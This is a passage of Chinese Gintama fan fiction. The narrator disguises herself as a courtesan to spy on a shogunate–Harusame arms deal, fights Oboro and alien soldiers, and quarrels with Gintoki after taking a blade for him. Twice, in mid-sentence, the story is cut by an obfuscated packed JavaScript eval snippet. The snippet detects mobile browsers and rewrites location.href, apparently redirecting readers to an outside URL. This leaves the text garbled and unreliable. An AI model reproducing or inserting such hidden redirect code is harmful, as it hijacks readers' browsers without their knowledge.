“喂喂,明里,乱来也别拉着她啊。真是的,她一个就够混了你还添乱。”挖了挖鼻孔,银时懒洋洋地瞟她一眼,充满警告意味。 被他这样一说,明里更不敢反抗,嘟着嘴,踢了踢地面的灰尘。 “呐,你们有见到齐藤吗?”我和桂把辰马从墙里拉出来。 “他们也来了吗?没碰上哦。”桂想了想,摇摇头。 忽然,巷口传来一道熟悉的声音。 “明里?诶?大家怎么都来了?” 我们看过去,一身蓝袍的齐藤正站在巷口看过来,脸色惊讶。 巧了。我没有回答,只是拍拍明里的肩膀,“去吧,来都来了,骂也挨了,该干的得干完才划算。我说过什么来着,我们家的女人绝不认输哦~” 明里重重地点头,朝我笑了笑后快步走了过去,拉着齐藤就跑。齐藤还没来得及说一句便被她拉走了,不过我眼尖地看到他的脚步是在明里拉着他之前就迈开了。 “嘿嘿,这恋爱还是得看别人谈才有趣。”我坏笑着打算跟过去,领子一紧,我又被拎住了。 “昂?你还有心情围观别人恋爱?老子还没跟你算账……裙带菜酒什么的,看不出来,你玩得很花嘛……”银时蹦着一脸十字路口,阴恻恻地低语。 “所以说那到底是什么?这么多人抢,应该是很贵的酒吧。”我真的很好奇,可惜这里没有手机,也没有网络不能查,但听着就是自己酿造的样子。“裙带菜是不是海带呀?这种酿酒好喝吗?” 银时等人一时语塞,死鱼眼看着我良久,不约而同地叹气。 “啊哈哈,啊哈哈哈,真是伤脑筋,居然让这个最不应该的家伙得到了……”坂本辰马欲哭无泪地苦笑,“好想抽她……大家没意见吧。” “自己的失败怎么可以推在阿萤身上?武士绝不做这种推卸责任的事!”桂正气凛然地训道,“我不稀罕花魁大人,隔壁的青三太夫更让人着迷。” “闭嘴你个人妻控!”银时和高杉一人一拳把桂揍进地里。 蓦地,清脆的铃响传来,我心神一凛,抬眸看向外面。 一队带着斗笠僧侣打扮的人缓缓从巷口经过,我下意识地迈步,肩膀却被人按住。 “别乱来。”高杉沉声道,身后的银时等人已褪去玩闹的随意,神色认真严肃。 41.女人能做的事 拉开门之前我已经有预感了,本来想着都见过成年版的小卷子和假发子,这一切我不应该再有意外。但……拉开门的那一刹那,视觉冲击还是太过震撼。 噗的一下喷出茶水,我笑倒在花魁姐姐的怀中,拼命捶地。 要命,他们到底塞了什么东西在胸口啊,那形状都快比他们的头还要大了哈哈哈哈。这些男人有考虑过人体的合理性吗? “啊哈哈,啊哈哈哈,我揍她大家没意见吧?”带着复古头套,身穿花哨和服的辰马捧着胸前汹涌的两团,不想面对地瞪着我。 “随便吧,在毁灭这个世界之前请让阿银先毁灭她。”梳着双马尾的银时颤了颤可观的前胸,撸起袖子准备动手。 “卷子,不要冲动,你两人现在丑得让人发笑,怎么混进去?”长发梳到一边的桂以折扇捂着半张脸,魅惑诱人。 “闭嘴,假发!” “不是假发,是假发子!” 侧马尾的高杉不习惯地扯了扯身上的和服,杀人般的眼刀直接甩了过来,“阿萤,想死吗?” “啊哈哈,啊哈哈哈……相信我,我已经把我这辈子遇到最难过的事都想了一遍也忍不住这滔滔的笑意,真的……哈哈哈……”我笑得直不起腰,善良的花魁姐姐抱着我不让我滑下地。 “够了,你就是想要占花魁大人的便宜吧。”坂本辰马看起来有点不是滋味,因为他努力了一晚都碰不到的女人就这样抱着我。 “呵呵……妾身今晚本来就是阿萤大人的人呐~”花魁纱织柔柔一笑。 眼看着那两人已经快要扑过来动手,我识相地收敛些,“算了,你们简直就是浪费纱织的东西,我和假发去就行了。你们想办法混进相近的房间做接应吧。” “诶,为什么?卷子也好想去哦~”银时睁着星星眼,扭了扭肩膀撒娇道。 “滚开,好恶心。”高杉嫌弃地捂脸。 被嫌弃的银时登时翻着死鱼眼拍过去,两人又习惯性地打起来,各自扯着对方的华丽和服,让对方出丑的心思昭然若揭。 “你们两个别幼稚了,都恶心可以了吧。”桂难得没劝架,反而不屑地蹙眉,往边上移了移。 银时和高杉两人对望一眼,拳头不约而同地揍向桂。受繁复的和服限制,桂利落地躲在辰马背后,辰马无奈地帮忙拦下他们的拳头……以脸。 “高级别陪酒的游女是要被挑选的,恕妾身直言,你们三位确实没什么优势呢。”纱织玉指指着辰马三人,依次点了过去,“太高,太壮,太傲。” 被点名的三人纷纷鄙夷地看向其他人,我无语,他们是觉得自己不属于那三人之一吗? 看了眼浓妆的银时,我想起十年后的他在人妖店其实跳得也可以,公正地说了句,“其实卷子跳舞也扭得不错的。” “你可以闭嘴,这句话一点也没让阿银觉得被安慰。”银时抱着胸,斜睨着我。“你行吗?别露馅了拖后腿。” 废话,也不想想这个身体是做什么的。我一撩长发,低笑着支颐,朝他露出一个风情万种的笑容,“家里的男人都不行,我当然得行啊~” “谁不行啊喂!”高杉+银时+辰马。 “阿萤,我行的,真正的武士没有做不来的职业!”桂眨了眨涂着眼影的美目,娇柔地道。 “闭嘴假发,武士才不想要做这个啊!”高杉+银时+辰马。 “不是假发,是假发子!” 曳地的艳丽和服,头发混着假发梳成高髻,点缀着数根步摇发簪,盛装之下面容明艳,红唇欲滴,打开的衣襟露出白皙的皮肤与诱人的事业线,引人遐想连篇。 我看着镜中的自己满意地点点头,朝帮忙的纱织微微一笑。 拉开门,我以折扇高傲地指着那四个男孩,红唇微启,语气矜贵,“膜拜本女王吧,愚民们~” 四双惊艳得瞪大的眼睛,难以置信地演绎什么叫做看呆了。 “哇哦,阿萤好美~”桂第一个给出反应,围着我拍掌。 “那当然,当游女我可是有经验的~因为我是25岁的大姐姐啊~”我扭了一下肩头,给他一个媚笑的wink。 辰马非常捧场地捂着胸口做了个晕倒的状态,其他两人无语捂脸。 “难怪连妾身的酒都不愿喝呢……”纱织可惜地捂颊,娇嗔地埋怨,“亏得妾身还冒着这么大的风险仗义帮忙。” “等事情过去了,我再来找姐姐喝酒。”唰地打开扇子,我轻轻摇了摇,笑看她,“不是那些乱七八糟的菜酒,而是真正的佳酿,姐姐一定会喜欢的。” 纱织风情万种地撩起我垂在肩膀的一束发,递到唇边吻了一下,“那,妾身等着你呢。” 靠,不愧是花魁,这撩人的姿态让我一个正常的女人都忍不住双颊微烫,小心肝扑通扑通的跳,双眼羞得不能直视。 学到了学到了,等我找机会试试,总有一天我要用在我crush身上! “我想说,这画面美得让我想自插双目。”坂本辰马眸底的惊艳转瞬转为无语。 “等完事之后再插吧。你两个记着,有什么意外就先保全自己,撤退为主。”高杉揉了揉额头懒得看过来,率先站了起来,“走吧,银时,辰马。” 银时眼珠子乱瞟,没正视过来,只是提醒了句,“假发你看着她别乱来,自己当心。” 我和桂比了个V,转身跟着纱织走了。 被挑选的过程比想象中顺利,对方是个不太谨慎又自大的男保姆,在训话我们不要得罪大人的同时把对方的信息泄露了不少。 德川派的大名,奉命跟天人商谈买卖的大事。可是……我和桂交换一个眼神,他极为熟练地逢迎着对方,打听着天人的来历。 果然,又是天道众。而那些僧侣服的人名为奈落,是天照院的杀手,此次是前来保护那位天人的。 拉门一开,看到那位天人,我心下一个咯噔,眼神顿时就变了。那个人我见过,不,不是我,是云锣见过……春雨的一个干部,第八还是第几师团来着?幕府的高官,跟春雨的干部谈交易?什么样的交易? 桂反应极快地拉着我行了个大礼,低头掩去那刹那的惊疑。我迅速回神,进入陪酒游女的角色。 清淡的三味线曲调优雅,我和另外一个游女握着折扇轻舞,身体仿佛自己会动般自然,一颦一笑掌握得刚好,很快把会谈的气氛烘热。酒过三巡,他们谈话的内容开始褪去那些隐晦,言辞大胆了起来。 幕府要买的,是天人的武器。目的是什么,我和桂都有不好的预感。但是,比起这些,我更想要跟奈落亲密相处一下。 不着痕迹地打量着那个虎背熊腰却又木讷地坐在一边的男人,我笑着依向侃侃而谈的天人,手中拿着酒瓶给他斟酒。 “人类真是矫情,拖了这些年,不也是走到这一步?”天人目光落在我胸前肌肤上,笑语里头有着明显的轻蔑。 “我们也没想到,那个男人被捕后,他的学生竟然能做到这个地步。”大名摇摇头,“那个极恶的罪人,他教出来的孩子竟然成为阻碍国家前进的攘夷志士……” 三味线突然弹错了一个音,很快又恢复了节奏。我看了眼桂,他抿唇低垂着头,表情不辨。 “那又如何,想要拯救自己老师那是不可能的,那个人可是被关在要塞里。”天人仿佛意识到自己说多了,连忙提起其他事,“那批武器的价格我们是不会退让的,至于你们将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093015|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军那边,还请大人多多美言。” 蓦地,我一个微晃,旋身跌落他怀中,手中的酒瓶一扬,清冽的液体撒向身后的人“哎呀……” 男人动作极迅猛地躲开,却依然沾上了酒液,神色没有丝毫变化,无声地坐回自己的位置。 “怎么回事?你们的人就是这样伺候人?”那位大名顿时怒了,拍着桌子吼道。 天人刚皱眉头,我已泪眼迷离地轻抬起脸蛋,颤着手轻轻拉扯他的衣襟,“都是妾身的错,被大人侃侃而谈的风采晃了神……才得罪了贵客。” 红唇轻咬,我颤了颤睫毛,软声撒娇般轻语,“请务必让妾身带这位大人去更衣……然后……” 媚眼轻抬,恳求般看向眼前的天人。 “不过是小事而已,他不会介意。”天人轻搂着我的腰,豪爽地笑道,“对吧,柩。” 男人没应,依然沉默。 “不行哦,这样妾身会不安……”我抬手轻点他的下巴,慢慢划下,勾住他中式盘扣的领子,轻轻拉了拉,“无法全心全意伺候大人。” 春雨的代表期待地看着我,勾唇轻笑,“既然如此,那你就去问问他吧。” 我懒懒地起身,走到男人面前,弯身靠近他耳边,轻轻说了一句话。 柩猛地抬头看着我,面容冷漠如傀儡,却忽然站起来,拉开门走了出去。门外的几个奈落走了进来,无声地站在门边看护。 不理会其他人的意外表情,我跪坐着行了个礼,跟了上去。 走廊迎面而来的,是乔装为商人的辰马一行人,他们看到我有些意外。目不斜视地与他们擦身而过,我跟着柩来到一个没人的房间。 关上门,他谨慎地看着我。 “别那么紧张,我这么做,都是为了胧大人而已。”我换了个哀戚的表情,轻声道。 没错,方才我跟他说的话是,我有要事要告诉胧。 这也是赌一把,我想着实在不行就跟假发跳出来开打。反正该听的都差不多了,没想到他竟然配合。 见他没说话,我自动代入哑巴,自顾自地说着,“其实,我跟胧早就相识(几年前),他伤了我的心(捅心脏),囚禁了我好几年(休眠仓),又丢下我没有留下片言只语……我一心想要找到他问个清楚。” 他还是那副样子,也不知道是听没听懂。 我拿袖子压了压眼角,“他明明说过,等那位大人抓回去后,就会来找我的……” 木讷的面容顿时起了变化,一双呆滞的眼瞬间凌厉地紧锁着我。那种被猛兽盯上的阴寒悄然攀上脊背,我借着拭泪的动作避开对视,继续胡扯,“其实,我也知道他是天照院的杀手,身不由己。我只是希望你能转告他……我在等着他。” 意味深长的话尾哀怨缠绵,我不理会他的反应,直接拉开门走了出去。 我不知道他会不会转告胧,不过是赌一把而已。但凡胧知道,他就能找到我,不是游女,而是真正的我。 才刚踏出走廊,前面就一阵骚动,下一刻,桂响亮带着怒气的话已响起,“不是假发子,是桂!” 面部刹那阴影,我抽了抽嘴角,隐约听到银时破口大骂他的声音。身后的柩飞快地冲了过去,我叹口气,“还说让假发看着我,明明他自己少看一眼都不行。” 算了算了,之前就说好有什么意外便各自撤退为主,我就先……诶! 一道眼熟的身影从隔壁建筑的窗边掠过,没带斗笠的白发在一片灯红酒绿中特别打眼。 胧……他也来了! 猛地撑着窗台翻身跳了下去,借着摊子的蓬平安落地,我提起下摆追了过去。隐约听到身后有人叫我的名字,但我也顾不得回头。 42.吵架增进感情 “美丽的小姐,请问今夜尚有时间吗?”一只猪手探向我胸口,流气的语调在碰到我衣服前扭曲成哀叫。 “不好意思,”我勾了勾唇,笑得温柔,手毫不留情地用劲扭转他的关节,“本小姐可是很贵的……而且,我喜欢肌肉男,对排骨没兴趣~” 把第N个浪人甩开,我望着颓靡的街道,有点焦急。明明看着那人往这个方向走,怎么完全没见到相似的? 领口打开的艳丽和服在这条街不算打眼,但也引来不少浪人的注意,主要是这张脸漂亮。另一边的骚乱很快结束,他们大概撤退成功了,那我也…… 清脆的铃响越过所有隐约的乐声传来,我随手拿过一遍摊子上放着的客人卸下的佩刀,顺着声音追了过去。 才追入城外的树林,那些铃音便消失得彻底,我站在黑暗中,月华勉强照亮四周的树冠,点点银色光斑落在地上。 缓缓地拔刀出鞘,我谨慎地戒备中。瞬息间,银色的冷光飞闪而至,我猛地跃起避开,下一秒刀刃已到跟前。 横刀当下攻击,我被强势的力度逼得整个人往后飞,翻身跳在一株树干上,以之为支撑点用力跃起,狠狠地挥刀砍下去。 刀刃相触的声音脆而冷冽,就着那一刻剑光,我撞入一双带着杀意的眼眸。 “是你?”胧的声音带了点诧异,“你醒过来了?” 刀刃上的压力一松,我甩刀入鞘,“果然是你把我放入那个仪器里头,为什么?” 胧微微顿了一下,才道,“你的时间虽然停滞……但现在看来你果然是不死。你到底是什么人?” “你觉得我应该是什么人?”我看着他,脑子里飞快地转着他的话,试探般道,“总不会是阿尔塔纳产的吧。” “不可能!”他斩钉截铁地否定这个可能性,干脆得让我印证了一些之前不敢怀疑的事情。 “为什么?因为松阳才是吗?你怎么知道那东西不会产生两个同样的人?”我挑衅般抬头,勾出轻笑,“时间停滞又不死的我,跟松阳是不是有什么共同点?” “你知道了什么?”他的眼神从淡漠融进了些许杀意。 好吓人……谨慎地握着刀,我戒备地退后一步,“我什么都不知道,也不想知道太多。我只想知道,松阳被关在哪个要塞监狱?我想要见他。” 有些事,我想要亲自问他。他真的,跟那个阿尔塔纳有关吗?像江华一样吗? “无可奉告。”胧带上斗笠,冷冷地对我道,“你们是不可能去到那里的,好好珍惜你自己再次活过来的生命吧。” “你救我是因为什么?总不能是喜欢我吧。”我懒懒地走近他,凑到他跟前笑道,“一个杀手杀人很正常,但救人的话,总该有点原因。说说看啊,我魅力这么大?” 胧沉默了一会儿,直视着我的双眼没有丝毫情绪,但开口的语气却有了一丝迟疑,“只是他不希望你死掉而已……你是他认可的家人,虽然不知道为什么,但既然他希望你活着,那你最好活着。” “那银时他们呢?松阳的话,也希望他们活着吧。你也可以救他们吗?”我认真地问道,如果胧为了松阳可以救我,那他们呢? “你跟他们不一样,这场战争里头,他们的罪名太大了……除非他们失去了战斗的意义,不然没有人能救他们。”胧淡淡地道,眼角眉梢都没有透露半分情绪。 我有点不爽,我跟他们的不同就是没他们出名?让他们失去战斗的意义很容易啊,把松阳还给他们就行。 “我怎样才能见松阳?”我又把话题绕了回去。 “你为何执着见他?” 我重重地叹口气,“他不是说我是家人吗?其实……我们早已互许终身,那是我认定的郎君,现在只剩下我一人,他到底打算怎样我连问一下的资格都没有吗?” 大眼浮上泪意,我抽泣着拿袖子压了压眼角,努力演绎被情郎抛下的可怜女人。 “不可能。”胧没有一点相信的意思,但那语调诡异地浮动了一下,极细微,但我擅长捕捉这种语气变化。 “我们朝夕相处这么久,我又这么漂亮,对他又好,就算不能一见钟情,日久生情也很正常啊。当年如果不是你杀了我,怎么发展你能保证?而且……”我点了点下巴,轻眯着眼低声道,“我跟他……有可能是同类哦……” 果然,这句话一出,胧的眼神有了些许不明显的变化,“你……” 忽然,一阵脚步声传来,我们两人一惊。我下意识转身,顷刻间胧的剑刃已经袭至身后。 一柄长刀在黑暗中疾速而来,穿过我宽大的袖子精准地击在胧的刃上。 “我会找你。”胧的声音几不可闻,随即他伸出手按在我背心。 脊背猛地被重重冲击,我整个人不受控制地飞身向前,狠狠地撞在几个人身上,连带着他们一起撞在树干上。 “阿萤!” 银时的声音伴随着无数飞溅的温热传来,我吃力地抬起头,一个高大的身影矗立在我眼前。蜥蜴的头,孔武有力的身体,正轮着狼牙棒朝我挥下来。 我骇然睁大了眼,拔刀已经来不及了…… 忽然间,一道剑光闪过,眼前的敌人拦腰被劈成两半,他的血溅了我一身。血泊之中,我看到那个矫健的身影,那头银白色的卷发在夜色中分外打眼,鲜血飞扬,红眸深沉杀意盎然。 “银……银时……”血流下来,糊了眼睛,我抬手抹了一把,有点不太踏实的心虚感。 “杀敌。”他没有再看我,只是背过身挡下扑过来的敌人,平静地道。 我握着刀站起来,才发现我们四周为了一圈的天人。怎么回事?他们不是撤退的吗?怎么反而招来了这么多敌人? 胧的身影已消失,我来不及细想,持刀专心应付眼前的敌人。 “靠,天然卷,你从哪里招惹这么多动物的?”围上来的都是一些青蛙头,狗头,狮子头什么的,整一个动物园了。 “少啰嗦,早说了撤退,你一个人跑什么?”挥刀砍掉彼此身后的敌人,银时旋身与我背靠背,对峙围了一圈的天人。 他语气听起来像是带着怒气,我心虚得不想回答这个问题。 “呜哇,这个好丑,我们换一下方向行么?”眼前的青蛙头天人是蓝色的,阿凡达的身体扭曲版Dororo的头,我不忍直视要求换人。 银时冷笑一声,微喘着气戏谑道,“怎么,青蛙不行,喜欢狗么?你以为是动物园喂食吗?还能挑?” 好吧,那还是青蛙吧……他那边的狗更像异型。 敌人的数量算不上多,实力也没有特别的强,银时的攻势比在战场时还要猛烈,因为无端的心虚我也不敢摸鱼,在我杀得双臂发酸之前,最后一个敌人也倒下来。 背心依然火辣辣的痛,胧那混蛋到底用了多大的力啊……踉跄一下跌坐在尸体中,原本微开的衣襟早已滑落一半,露出的臂膀全是血迹,我拉了拉衣襟,连这样的动作都觉得肌肉拉扯酸痛。 “不是跟你说了别乱……”银时语带谴责地转身看过来。 我抬眸,眼尖地瞄到那偷袭的利刃,下意识朝他喊道,“一二三,木头人!” 手中的刀狠狠地掷过去,擦过骤然定住的银时颊边刺进他身后无声无息靠近的敌人。 愣愣地眨了眨眼,我有些不可思议他居然还记得这个游戏,“啊哈,真配合~” “白痴,在战场玩什么游戏啊……小心!” 手臂被用力抓着往一边倒,少年的身影瞬间已在身前,他震惊的面容逐渐靠近,占据我所有视线……紧缩的绯瞳倒影着我身后猛然翻身冲过来的狼人。 这些天人也太狡猾了吧! 身体比脑子更快反应过来,我猛地跪起来挡在他跟前,他的刀刺进狼人咽喉的同时,那柄偷袭的刀也穿透我的肩膀。 眼睁睁地看着我的血溅落在他惊骇的脸上,我有瞬间的恍惚,身体不受控制地倒入他张开的怀中。 “阿……萤?”他仿佛是被吓到般,嘴唇张合却没说一句话。 剧烈而火辣的痛骤然爆发,我咬着牙抓着他的衣襟,“痛死我了混蛋——” 眼前一黑,我连骂他的话都没说一句完整的便合眼晕了过去。 浓郁的血腥味一直萦绕,耳边仿佛有很多人叫唤我的名字,我的意识混混沌沌的,所有人如走马观花般掠过我身边,最后定格的是妈妈的笑脸和棉被被阳光晒过后的温暖。 掀了掀眼皮,我张开眼便看到明里顿时飙泪的脸,吓得我心肝都紧缩了一下,“你……” “太好了,阿萤姐你终于醒了!”明里哇的一声扑过来抱着我,“你睡了三天了,要不是……我们都担心死了。” 三天?有点夸张了,我动了动肩膀,伤口并不算痛,按道理不是很严重。 明里把我扶起来,刚理好衣服房门就唰地被拉开,银时站在门口脸色微愣,低着头走了进来。 “哟~”我举起手打了个招呼。 “什么嘛,还没死。”他一屁股坐在边上,死鱼眼带了点鄙视。 “什么话啊,就那么点伤。还有,我也算是救了你,态度麻烦给我端正点。”我随手指了指他,却被他一下拍开。 他的力度有点大,我的手背都红了,我们都愣了一下。 “银时,你太过分了,阿萤姐才刚醒来……”明里吓了一跳,紧张地斥道。 “烦死了,明里你先出去!”银时转头指着明里,“阿银要好好地教训这个听不懂人话的笨蛋。” “可是……”明里看了看他,反驳道。 “明里,你先出去吧,花街的仇老子还记着呢。”我安抚地朝明里笑了笑,转头瞪着他,“教训我?你够格吗?” 明里左看右看,急得语无伦次,“不,不行啊,阿萤姐你才刚好些,银时也是,昨天还受了伤……你们……” “少啰嗦,出去!”我和银时同时转头瞪着她,脸色同样的阴沉,干脆利落地斥道。 “是!”明里果断地连滚带爬跑了出去。 等门被拉上,我哼了声,好整以暇地掰着手指。 “呐,是哪个被我救了的小子大言不惭要教训本大人?” “谁要你做这种无谓的事?自己弱鸡还想当挡箭牌?省省吧,别添乱就已经很帮忙了。”银时别过脸挖鼻,声调懒散,隐约带了点不悦。 “身体本能是我能控制的吗?”我反问,别说这种危急关头,就算是夜兔的本能我也从来没压制成功过。 而且那个时刻要是不挡一下,那刀刺进的地方极可能是他的心脏,我怎么能不管? “怎么,被弱鸡救了的感觉如何啊?”我挑眉瞪着他。 “差劲透了!”他略烦躁地搔着卷发,赌气般看向墙壁那边,“所以说你脑子不行就乖乖呆着,乱跑什么啊?” 谁脑子不好啊! 想到我是为了什么追上去,我沉默了。我从来没跟他们说过胧的事,之前是不知道该怎样说,现在是不知道怎样开口。我很清楚,他们对松阳的在意到了什么程度,只是现在他们自己的处境已经很危险,再正面对上天道众的话…… “听着,我们已经找了一户人家,他们可以收留你……你好些后就离开吧。”银时安静了半响,忽然开口,“假发在打听老师所在的要塞,等我们处理完,再去接你。你……” “我拒绝。”打断他的话,我面无表情地瞪着他,“说过了吧,留不留下是我的事,就算你成年了也没资格替大人做决定。” “你算哪门子的大人啊?除了胸你哪里大呃!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098007|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没说完的话被我扔过去的枕头打断。 “年龄!”我拍拍胸口,“就算时间停滞了,我也是25岁的大人。” “年龄这种东西在战场上根本不值一提,在这里……”银时突然顿了一下,声音压抑起来,“这里是战场,不是过家家,也不是你喜欢的警匪游戏场地,一个不留神就会领便当。没什么比活着重要,我们也没办法时刻保护到所有人……离开这里吧,生气也无所谓,你好好活着就行……” 我望着他良久,一时间没说话。眼前少年额带的尾端还沾了血,身上的白袍倒是干净,但一身肃杀的气势还没收敛,衬得脸色也有些沉重。 下意识地握紧了拳头,我有些难过,确实……在这里我的作用不小但也不大,哪怕我的战力可以跟黑子他们媲美,但我的想法太多,也不熟悉战争,无法如他们般纯粹地参战。 我不管国家,也不管未来,我在这里只是因为他们三个,等胧找上我,我一定会想办法让他带我去松阳那里。现在离开……好像也不是不行。 但是……很不爽啊……不爽这种被保护的隔离。 我是作用不大,但我从一个和平主义者慢慢努力到砍天人如砍柴,沾了满身鲜血也当狂欢派对倒了颜料,受伤也觉得无所谓的攘夷志士,我还不够努力吗?我现在根本就没有拖后腿……甚至对队伍也很有帮助,为什么还这样评价我? 要不是不确定时间对我的影响,要不是胧也不确定我会不会死,我也想直面死亡或者让神威给我一手刀啊……人在求生和求死之间挣扎,我已经很努力克服这种纠结了! 越想越气愤,我压下满心翻涌的情绪,冷冷地道,“我不需要保护,我留下的资格也不是因为你们,是我自己争取的。” 所以,他没资格把我赶走。 “是吗?那……”红眸蓦地冷然发亮,眸子那抹冷意让原本懒散的少年瞬间凌厉起来,浑身的气势慑人。银时指了指自己,傲然地笑道,“要跟我这个白夜叉大人来一场吗?如果你实力足够的话就来打败我……” 我登时气得说不出话来,颤抖着手指控般瞪着他。 他,他,他说的是人话吗?我要是能打败他……我要是能打败他……我早杀去那个要塞监狱了! 低着头不语,我默默地爬过去把刚才扔他的枕头拿回来,然后深呼吸储蓄力气。 “怎样?不是对自己实力很自信的么?”银时带着讽刺的语气又傲又欠揍。 “给老子……” “昂?” 我猛地抬头,一个弓步用力,狠狠地把枕头以标准投球姿势,夹带雷霆万钧之势砸过去,“给老子滚啊——” 银时整个脸被枕头砸中,连反抗也没有便利落地飞向后面的门,砸坏了拉门飞出了外头。乒铃乓啷的声音持续了好一会,最后隐约听到树木倒下来的巨响。 “不要跟我说,你们也是这样想。”我把乱发拨到身后,面无表情地看着靠在门框上抱手环胸的桂和高杉。 “呵,我们的白夜叉大人不是输了吗?”桂偏头朝我笑道,“我可不想输给阿萤,还输得这么干脆。” “蠢货,这种战斗力留在战场不是挺好的吗。平时摸鱼得厉害,也不怪他把你当弱鸡啊。”高杉摇摇头,走了进来,认真地看向我,“你知道自己的情况,对吧。” “身体无法造血,所以一旦失血过多就会危险吗?”我懒懒地抚着自己的肩膀,身上几乎都是绷带,痛感反而不太明显。 “三郎说,你跟机械人差不多,但无法加燃料。这就如同格斗游戏,没有补给的医疗包,血槽一旦被清空就会game over。要不是你伤口复原得比常人快很多,明里又不吝药物帮你止血,你以为只是三天就能醒过来?” 高杉的额带也带了些血,看来这几天也有战役。我可不能再拖后腿了…… 血槽清空……我按着伤口,那里已经没有什么痛感,虽然无法造血,但是我伤口痊愈的速度比正常人快太多了……只要不是一下子清空血槽的话,我应该不会死。 “阿萤,别太大意……银时他也是为你好……这次你吓到我们的王牌了。”桂抱手看着我,认真地道。 心底有些愧疚,我依稀记得那时趴在银时背上,听到他语无伦次地安慰着,却无力出声安抚。正因如此,我才不能就这样妥协,不然……银时那小子这辈子都不会放下这次意外! 我再也不要从那双红眸里看到深刻的愧疚了。 “晋晋,假发,我不会死的。”我垂眸,看着自己的手心,蓦地轻笑出声,“我会在未来跟你们初遇……” 桂和高杉疑惑地看着我。 “花街那晚,我看到当年捅我刀子的人,他说我有可能是不老不死的怪物哦。”我笑着抬头,抿着唇,眼中有眨不掉的水汽,“但我很肯定我不是僵尸什么的,我还活着的,我会变强的……所以请不要把我当异类……” 被银时否定的委屈涌上,我抿着唇看他们,眼中水汽凝结成珠,沾湿睫毛。 “怎么可能啊,白痴。”高杉蹙眉,“不老不死这种,是跟那个怀表有关吗?” “那不是重点,我想说的是,”我站起来倾身抱着他,头靠在他肩膀,哀求般低声道,“晋晋,假发,不要让我一个人。” “阿萤……” 室内安静得只有呼吸声,直到头上一暖,是桂伸手抚上我的发。 “不会让你一个人的,我们要一起去把老师带回来,一起创造这个国家的黎明。” 高杉没好气地拍了我一记,算是妥协了,“你一个人就只会做蠢事,我可没空再给你收拾。” 很好,我埋在高杉肩膀的脸慢慢地扬起诡异的笑。 坂田银时,就你个小样儿还想决定本大人的去留?开什么玩笑! 43.时光机没未来 最近的战况有些频繁,大大小小的战役不断,还好之前休养生息了一些时间,大家的状态还行,伤亡也不算多。 对自己的身体和目标有了认知和打算后,我的状态也调整过来,战力迅速升级,现在已经能护着队伍里头的人全身而退了。我的情况除了joy4和三郎明里,其他人都不清楚,泽木还以为是我最近勤于跟高杉和辰马切磋的成果。 奇妙的误会之下,他和黑子现在热衷于逮辰马切磋,搞得辰马一个头两个大。 这段时间我托良子帮忙打听了之前天人和幕府的交易内幕,很快便有了消息。估摸了一下距离,我有了个绝妙的主意。 “辰马~” 看到那个高挑的身影,我笑着扬了扬手,至于他身后跟着的那人完全被我无视了。 “阿月~”坂本辰马刚处理完找上门的黑子,扛着竹刀心情不错地等我走过去。 “我有个事想要跟你合作,走吧。对了,请你吃点心,早上无聊跟明里一起做的。”我笑眯眯地把手中的点心递给他,“是甜甜的草莓团子哦~附近有农户种了草莓,很新鲜呢。” 他身边的坂田银时闻言眼都直了,眼珠子直愣愣地盯过来,噎了噎口水。 “不过材料有限,我只做了几个,假发和晋晋,明里和黑子、泽木都说很好吃呢,我特地给你留了。” 银时张了张口,说不出一个字,虎视眈眈地看向辰马。 生怕被抢,辰马机警地一口咬进嘴里,香甜的味道让他整个人冒出粉红色的泡泡,朝我比了个大拇指。 银时炸毛地指了指自己,瞪着我,想说什么又想起我们还在冷战,旋即烦躁地搔着一头卷发。 是的,没错,冷战。 虽然用这个词有点奇怪,但我们确实谁也不理谁一段时间了。我完全无视了他的存在,他也幼稚地不跟我说话,状态就是我幼儿园起已经不玩的把戏。 哦,对了,他冷战的对象还有高杉。 起因是一开始高杉想要解释让我留下的原因,结果银时一时气急说了让他生气的话,两人打了一场后还没和解又碰上敌袭,那个天然卷笨蛋玩了一手奇袭让原本做好作战计划的高杉差点跟不上节奏,火冒三丈之下他已经想杀人了。没想到这个白痴到让人无语的天然卷还不知死活地偷了他的养乐多去卖给同袍,中饱私囊,于是高杉在狠揍他一顿后正式加入冷战行列。 我知道一切后只觉得我们晋晋的脾气真的是太太太好了,只揍了一顿而已。 然后,当时路过听到我感叹的高杉同学冷冷地笑了,抬手扬了扬手中的数张票子和棒棒糖。 “这是他的全部家当。”高杉给我剥开糖纸的时候,哼笑道,“要买什么随便买。” 我当场感叹还是他比较了解那个穷鬼糖分控,那天某人的惨叫响彻天际,仇结更大了。 现在,我们三个属于我和高杉故意无视银时,而银时单方面拒绝跟我们沟通的尴尬局面,无聊得让桂摇头不想参与这种幼稚的游戏。 辰马倒是一直试图缓解,但每次都被他们分别揍,可怜兮兮的他还走在劝架的路上,只有我给他好脸色。 此时见我和辰马都不管他,银时眼珠一转,飞快地朝厨房跑去,掀起一阵浓烟。 “啊哈哈哈……这速度真不愧是我们的王牌。”辰马感叹道,“如果他滑跪的速度也这样快的话,我也不用那么辛苦劝架了。” 我冷笑,他怎么会天真地以为我会给他留一份?啧。 “真的不跟他和好?”辰马笑着把小臂压在我头顶,“只要你主动说句话,他马上就能被哄好,把这事忘掉,打个哈哈继续胡闹了。” 我斜睨着他,“就是因为这样才不要。怎么,他无视我的努力鄙视我的实力还要我去哄吗?” 